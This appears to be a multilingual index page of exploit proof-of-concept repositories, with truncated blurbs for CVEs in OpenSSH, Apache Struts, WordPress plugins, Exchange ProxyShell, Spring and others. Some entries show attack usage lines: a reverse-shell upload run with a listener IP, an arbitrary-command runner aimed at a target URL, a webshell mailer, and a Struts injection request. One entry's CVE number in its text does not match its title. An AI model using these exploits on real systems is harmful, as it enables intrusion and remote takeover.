CVE-2024-6387

CVE-2024-6387 regreSSHion Script Python proof of concept per l'exploit regreSSHion. Versione 0.2.1 build POC Installazione root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt root@kitploit: python3...

CVE-2026-0740-mass

CVE-2026-0740 — Motore di exploit per target di massa Autore: 0xNuts Contributore: Cursor Repository: https://github.com/ExDev994/CVE-2026-0740-mass PoC per CVE-2026-0740: Ninja Forms File Uploads = 3.3.26 — Unauthenticated Arbitrary File Upload che può portare a RCE. La vulnerabilità iniziale è...

CVE-2018-16119

CVE-2018-16119: Authentifizierte Remotecodeausführung in TP-Link WR1043ND Übersicht CVE-2018-16119 ist eine kritische Schwachstelle für authentifizierte Remotecodeausführung, die TP-Link TL-WR1043ND Router betrifft. Diese Schwachstelle ermöglicht es authentifizierten Angreifern, beliebige Befehle...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 Esempio:...

CVE-2019-5624

CVE-2019-5624 Una prova di concetto per la vulnerabilità CVE-2019-5624 di Metasploit RCE tramite gestione non sicura dei file ZIP in Rubyzip Introduzione Nel febbraio 2019 ho trovato una nuova vulnerabilità nella libreria Rubyzip. Consente a un attaccante di sfruttare una gestione non sicura dei...

CVE-2018-11776

Contenitore docker vulnerabile per CVE-2018-11776 root@kitploit: docker pull bhdresh/cve-2018-11776:1.0 docker run -dit -p :8080:8080 bhdresh/cve-2018-11776:1.0 PoC PoC - 1 root@kitploit: Richiesta : http://:8080/struts2-showcase-2.3.14/$333+333/help.action Risultato :...

WordPress Tutor LMS plugin <= 4.0.5 - Unauthenticated Remote Code Execution via 'template' and 'data' POST Parameters vulnerability

Unauthenticated Remote Code Execution via 'template' and 'data' POST Parameters vulnerability discovered by Slopothecary in WordPress Plugin Tutor LMS versions = 4.0.5...

CVE-2020-24186_reverse_shell_upload

Caricamento reverse shell per CVE-2020-24186 Exploit per WpDiscuz 7.0.4 basato sull'exploit scritto da h3v0x. Sfrutta la vulnerabilità e carica una reverse shell PHP. L'ispirazione è stata la Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 90...

CVE-2012-1723

Ataque drive-by em navegador que explora a CVE-2012-1723 para execução remota de código. Um guia passo a passo e detalhes técnicos podem ser encontrados em https://ethaniel.me/2017/02/09/practice-the-past-cve-2012-1723/...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 Beschreibung Diese Sicherheitslücke ermöglicht es entfernten Angreifern, beliebigen Code auf betroffenen Installationen von kubernetes/ingress-nginx auszuführen. Zur Ausnutzung dieser Sicherheitslücke ist keine Authentifizierung erforderlich. Der spezifische Fehler...

WhatsPayloadRCE

WhatsPayloadRCE Dies ist ein automatisch generiertes Payload für CVE-2019-11932 WhatsApp Remote Code Execution 1. Automatische Installation von GCC harmloser Befehl, du kannst sehen, dass dies Open-Source ist 2. Speichern als .GIF -Datei Wie benutzt man? root@kitploit: sudo apt install git git...

CVE-2025-53690-POC

PoC e template Nuclei per la deserializzazione critica in Sitecore RCE CVE-2025-53690 Breve riassunto Questo repository ospita un template di rilevamento e materiali di supporto per CVE-2025-53690 Sitecore. Il template Nuclei incluso aiuta a scansionare le istanze Sitecore che sembrano configurat...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Una prova di concetto per la vulnerabilità CVE-2015-8562 di Joomla Object Injection RCE Introduzione/Changelog Questo PoC è la seconda versione dell'implementazione ospitata su exploit-db. root@kitploit: -Corretto rigenerazione della sessione -Aggiunta l'opzione per passare da...

spring-RCE-CVE-2022-22965

Panoramica della vulnerabilità Recentemente, Spring ha rilasciato una vulnerabilità CVE di alto livello. Le informazioni sulla CVE indicano: "Un'applicazione Spring MVC o Spring WebFlux in esecuzione su JDK 9+ può essere vulnerabile a esecuzione di codice remoto RCE tramite data binding. Lo...

CVE-2025-55182-PoC

CVE-2025-55182-PoC PoC per CVE-2025-55182 root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" Dichiarazione di non responsabilità legale Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'utilizzo di questo strumento per attaccare bersagli senza...

CVE-2019-7214

Exploit Reverse Shell Windows PowerShell su TCP Questo script Python colpisce un servizio vulnerabile in esecuzione su una macchina Windows remota. Invia un payload .NET serializzato che avvia una reverse shell basata su PowerShell verso la macchina dell'attaccante. CVE-2019-7214 Esecuzione di...

CVE-2025-49132

CVE-2025-49132 Pterodactyl ist ein kostenloses Open-Source-Spielserver-Verwaltungspanel. Vor Version 1.11.11 konnte ein böswilliger Akteur durch die Verwendung der Abfrageparameter locale und namespace in /locales/locale.json nicht authentifizierten beliebigen Code ausführen. Mit der Fähigkeit,...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 Script per l'esecuzione remota di comandi Per altri script, vedere anche: https://github.com/zhzyker/exphub Readme root@kitploit: +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as...

CVE-2016-10033

WordPress 4.6 - Esecuzione Remota di Codice RCE PoC Exploit CVE-2016-10033 È una versione modificata dell'exploit di Dawid Golunski 41962...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] Obter único python sendwebshellmail.py https://mail16.echod.com crack lote de leitura de e-mails de mail.txt, tentar obter token SID python sendwebshellmail.py https://mail16.echod.com [email protected] send apenas...